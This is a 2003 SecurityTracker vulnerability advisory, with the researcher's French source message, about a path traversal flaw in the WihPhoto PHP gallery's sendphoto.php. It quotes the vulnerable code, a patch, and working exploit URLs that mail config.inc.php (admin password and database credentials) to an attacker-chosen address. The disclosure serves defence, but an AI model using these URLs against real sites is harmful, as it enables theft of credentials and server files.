Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
|
WihPhoto Image Gallery Software Discloses Files to Remote Users
|
|
SecurityTracker Alert ID: 1006150 |
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Feb 23 2003
|
Impact: Disclosure of system information, Disclosure of user information
|
Exploit Included: Yes
|
Version(s): 0.86-dev and prior versions
|
Description: An input validation vulnerability was reported in the WihPhoto image gallery software. A remote user can view arbitrary files on the system with the privileges of the web server.
Frog-m@n reported that the script does not check certain user-supplied variables that are used to create the file path and file type
when e-mailing an image to a remote user.
A remote user can send arbitrary files that are readable by the web server process
to remote users by specifying modified values for the 'album' and 'pic' variables.
Some demonstration exploit URLs that will
mail the 'config.inc.php' file are provided:
http://[target]/sendphoto.php?album=.&pic=../config.inc.php&sendto=[E-MAIL]&filled=1
http://[target]/sendphoto.php?album=..&pic=config.inc.php&sendto=[E-MAIL]&filled=1
The remote user can reportedly achieve
the same effect by submitting a specially crafted web form instead of using an HTTP GET request.
|
Impact: A remote user can e-mail files on the system that are readable by the web server to remote users.
|
Solution: No vendor solution was available at the time of this entry. The author of the report has developed an unofficial patch, described in the Source Message and available at:
http://www.phpsecure.info/
|
Vendor URL: www.wihsy.com/develop/php/wihphoto/index.php (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Sun, 23 Feb 2003 14:59:08 -0500
Subject: WihPhoto Bug
|
http://www.frogsecure.com/tutos/WihPhoto.txt
WihPhoto
********
Informations :
°°°°°°°°°°°°°°
Langage : PHP
Version : 0.86-dev
Website : http://www.wihsy.com
Problème : Récuperation de fichiers du disque dur
Developpement :
°°°°°°°°°°°°°°°
WihPhoto est un script permettant de gérer une gallerie d'images. Ce script contient une partie
admin, et des fonctions
comme l'envois d'une image à un ami, la gestion de descriptions, l'ajout d'albums, la supression de
photos,...
Dans le fichier util/email.php, on peut voir le code suivant :
----------------------------------------------------------------------------------------------------- -----
<?
class CMailFile {
var $subject;
var $addr_to;
var $text_body;
var $text_encoded;
var $mime_headers;
var $mime_boundary = "--==================_846811060==_";
var $smtp_headers;
function CMailFile($subject,$to,$from,$msg,$filename,$mimetype = "application/octet-stream" ,
$mime_filename = false) {
$this->subject = $subject;
$this->addr_to = $to;
$this->smtp_headers = $this->write_smtpheaders($from);
$this->text_body = $this->write_body($msg);
$this->text_encoded = $this->attach_file($filename,$mimetype,$mime_filename);
$this->mime_headers = $this->write_mimeheaders($filename, $mime_filename);
}
function attach_file($filename,$mimetype,$mime_filename) {
$encoded = $this->encode_file($filename);
if ($mime_filename) $filename = $mime_filename;
$out = "--" . $this->mime_boundary . "\n";
$out = $out . "Content-type: " . $mimetype . "; name=\"$filename\";\n" ;
$out = $out . "Content-Transfer-Encoding: base64\n";
$out = $out . "Content-disposition: attachment; filename=\"$filename\"\n\n";
$out = $out . $encoded . "\n";
$out = $out . "--" . $this->mime_boundary . "--" . "\n";
return $out;
// added -- to notify email client attachment is done
}
function encode_file($sourcefile) {
if (is_readable($sourcefile)) {
$fd = fopen($sourcefile, "r");
$contents = fread($fd, filesize($sourcefile));
$encoded = my_chunk_split(base64_encode($contents));
fclose($fd);
}
return $encoded;
}
function sendfile() {
$headers = $this->smtp_headers . $this->mime_headers;
$message = $this->text_body . $this->text_encoded;
mail($this->addr_to,$this->subject,$message,$headers);
}
[...]
function write_mimeheaders($filename, $mime_filename) {
if ($mime_filename) $filename = $mime_filename;
$out = "MIME-version: 1.0\n";
$out = $out . "Content-type: multipart/mixed; ";
$out = $out . "boundary=\"$this->mime_boundary\"\n";
$out = $out . "Content-transfer-encoding: 7BIT\n";
$out = $out . "X-attachments: $filename;\n\n";
return $out;
}
[...]
[...]
----------------------------------------------------------------------------------------------------- -----
Cette class est déstinée à envoyer un mail avec un fichier attaché.
Elle est utilisée dans le fichier sendphoto.php, qui est le fichier qui doit permettre à un
utilisateur
d'envoyer une image de la gallerie par e-mail.
On y voit le code suivant :
------------------------------------------------------------------------------------
include("util/email.php");
include("config.inc.php");
[...]
if (!$filled) {
print "<FORM METHOD=POST ACTION=sendphoto.php>\n";
print "<INPUT TYPE=hidden NAME=filled VALUE=1>\n";
print "<INPUT TYPE=hidden NAME=pic VALUE=$pic>\n";
print "<INPUT TYPE=hidden NAME=album VALUE=";
print rawurlencode($album);
print ">\n";
print "<center><p>$sendphoto_send_photo_to<br>";
print "<INPUT NAME=sendto></input></center>\n";
print "<p>\n";
print "<center><INPUT TYPE=submit VALUE=\"$sendphoto_button\"></center> \n";
print "</form>\n";
print "</body></html>\n";
else
$message = "$sendphoto_message";
$album1 = rawurldecode($album);
$filetoattach = "./$pix_base/$album1/$pic";
$mimetype = "image/jpeg";
$newmail = new CMailFile($subject,$sendto,$replyto,$message,$filetoattach,$mimetype);
$newmail->sendfile();
print "$sendphoto_successful";
print "</body></html>\n";
?>
------------------------------------------------------------------------------------
Le fichier qui sera envoyé est "./$pix_base/$album1/$pic".
$pix_base est définie dans config.inc.php, lui-même inclut dans sendphoto.php :
--------------------------
$pix_base = "albums";
--------------------------
Cette variable n'est donc pas utilisable. Par contre les variables $album1 et $pic peuvent être
modifiée
par n'importe qui. $pic est modifiable directement par l'url par exemple, et $album1 l'est par le
biais
de la variable $album, comme on voit dans la ligne :
-------------------------------
$album1 = rawurldecode($album);
-------------------------------
Donc, pour envoyer la photo http://[host]/albums/photos_holliday/sea.jpg à bob@server.com, il y a 2
possibilités,
toutes les 2 via sendphoto.php.
La première est via l'interface graphique; le formulaire dans le script sendphoto.php.
L'url dans ce cas-ci pour y accèder serait :
http://[host]/sendphoto.php?album=photos_holliday&pic=sea.jpg
et il ne resterait plus qu'à entrer l'e-mail dans le champ prévu à cet effet.
L'autre possibilité étant de ne pas utiliser le formulaire mais directement une URL, ici elle serait
http://[host]/sendphoto.php?album=photos_holliday&pic=sea.jpg&sendto=bob@server.com&fille d=1
Le problème est qu'il n'y a aucune vérification du path ou du type du fichier.
On peut donc envoyer à qui ont veux, par mail, n'importe quel fichier se trouvant dans le disque dur
du site.
Par exemple, pour envoyer à quelqu'un un mail avec les sources du fichier
http://[target]/config.inc.php, contenant
le mot de passe admin et les informations de la base de données SQL (host, pass, user, nom), on peut
utiliser les urls :
http://[target]/sendphoto.php?album=.&pic=../config.inc.php
en passant par le formulaire ou
http://[target]/sendphoto.php?album=.&pic=../config.inc.php&sendto=[E-MAIL]&filled=1
directement par l'url.
Ou encore
http://[target]/sendphoto.php?album=..&pic=config.inc.php
en passant par le formulaire ou
http://[target]/sendphoto.php?album=..&pic=config.inc.php&sendto=[E-MAIL]&filled=1
directement par l'url.
etc...
Le fichier envoyé par email a comme nom son path légérement modifié (les / remplacés par _),
c'est-à-dire un nom du style :
._albums_[ALBUM]_[FILE]
Pour nos exemples ça donnera un fichier attaché nommé :
._albums_._.._config.inc.php
(où [ALBUM]=. et [FILE]=.._config.inc.php) pour le premier exemple et
._albums_.._config.inc.php
(où [ALBUM]=.. et [FILE]=config.inc.php) pour le second.
Solution :
°°°°°°°°°°
Dans sendphoto.php, juste entre les lignes :
-------
else
-------
et
---------------------------------
$message = "$sendphoto_message";
$album1 = rawurldecode($album);
---------------------------------
Ajouter les lignes :
-------------------------------------------------------------------------------------
if (ereg('/',$pic) OR ereg("\.\.",$pic) OR ereg("/",$album) OR ereg("\.\." ,$album)) {
die("Unauthorized album or picture name.");
-------------------------------------------------------------------------------------
Un patch peut être trouvé sur http://www.phpsecure.info.
Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : frog-man@phpsecure.info
Websites : http://www.frog-man.org, http://www.phpsecure.info
Date : 23/02/03
|
|
Go to the Top of This SecurityTracker Archive Page
|